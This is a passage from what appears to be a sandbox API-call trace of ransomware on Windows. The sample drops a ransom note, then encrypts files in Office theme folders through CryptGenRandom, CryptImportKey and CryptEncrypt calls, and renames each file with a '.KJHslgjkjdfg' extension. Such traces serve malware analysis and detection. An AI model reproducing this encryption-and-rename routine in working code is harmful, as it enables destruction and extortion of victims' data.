param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\readme-warning.txt") returned 82 [0171.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.956] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.957] CloseHandle (hObject=0x12c) returned 1 [0171.958] GetProcessHeap () returned 0x990000 [0171.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.958] GetProcessHeap () returned 0x990000 [0171.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.958] GetProcessHeap () returned 0x990000 [0171.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.958] GetProcessHeap () returned 0x990000 [0171.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.958] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.958] GetProcessHeap () returned 0x990000 [0171.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.958] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0171.958] GetProcessHeap () returned 0x990000 [0171.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0171.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.960] GetProcessHeap () returned 0x990000 [0171.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.960] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.960] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0171.960] GetProcessHeap () returned 0x990000 [0171.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0171.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.961] GetProcessHeap () returned 0x990000 [0171.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.962] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.962] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.962] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0171.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.965] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.965] GetProcessHeap () returned 0x990000 [0171.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.965] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.965] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.965] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.966] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.966] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.966] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.966] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.966] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.966] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.966] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.966] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.966] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd613, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xd613, lpOverlapped=0x0) returned 1 [0171.968] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd620, dwBufLen=0xd620 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd620) returned 1 [0171.968] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.968] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd620, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xd620, lpOverlapped=0x0) returned 1 [0171.969] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.969] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xd6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.969] SetEndOfFile (hFile=0x12c) returned 1 [0171.972] GetProcessHeap () returned 0x990000 [0171.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.972] GetProcessHeap () returned 0x990000 [0171.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.kjhslgjkjdfg")) returned 1 [0171.973] CloseHandle (hObject=0x12c) returned 1 [0171.973] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0171.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.973] GetProcessHeap () returned 0x990000 [0171.973] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.973] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.974] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.974] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0171.976] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.976] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.976] GetProcessHeap () returned 0x990000 [0171.976] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.976] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.976] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.976] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.976] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.976] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.976] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.976] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.976] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.976] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.977] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.977] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.977] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e6, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1e6, lpOverlapped=0x0) returned 1 [0171.977] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f0) returned 1 [0171.977] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.977] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1f0, lpOverlapped=0x0) returned 1 [0171.977] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.977] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.977] SetEndOfFile (hFile=0x12c) returned 1 [0171.980] GetProcessHeap () returned 0x990000 [0171.980] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.980] GetProcessHeap () returned 0x990000 [0171.980] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.kjhslgjkjdfg")) returned 1 [0171.989] CloseHandle (hObject=0x12c) returned 1 [0172.066] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.066] GetProcessHeap () returned 0x990000 [0172.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.066] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.066] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.067] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0172.069] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.069] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.069] GetProcessHeap () returned 0x990000 [0172.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.069] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.069] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.070] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.070] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.070] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.070] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.070] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.070] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x50d, lpOverlapped=0x0) returned 1 [0172.070] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x510, dwBufLen=0x510 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x510) returned 1 [0172.070] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.071] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x510, lpOverlapped=0x0) returned 1 [0172.071] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.071] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.071] SetEndOfFile (hFile=0x12c) returned 1 [0172.074] GetProcessHeap () returned 0x990000 [0172.074] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.074] GetProcessHeap () returned 0x990000 [0172.074] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.084] CloseHandle (hObject=0x12c) returned 1 [0172.084] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.085] GetProcessHeap () returned 0x990000 [0172.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.085] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.085] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.085] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0172.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.088] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.088] GetProcessHeap () returned 0x990000 [0172.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.088] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.088] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.088] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.088] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.088] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.089] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.089] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.089] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, 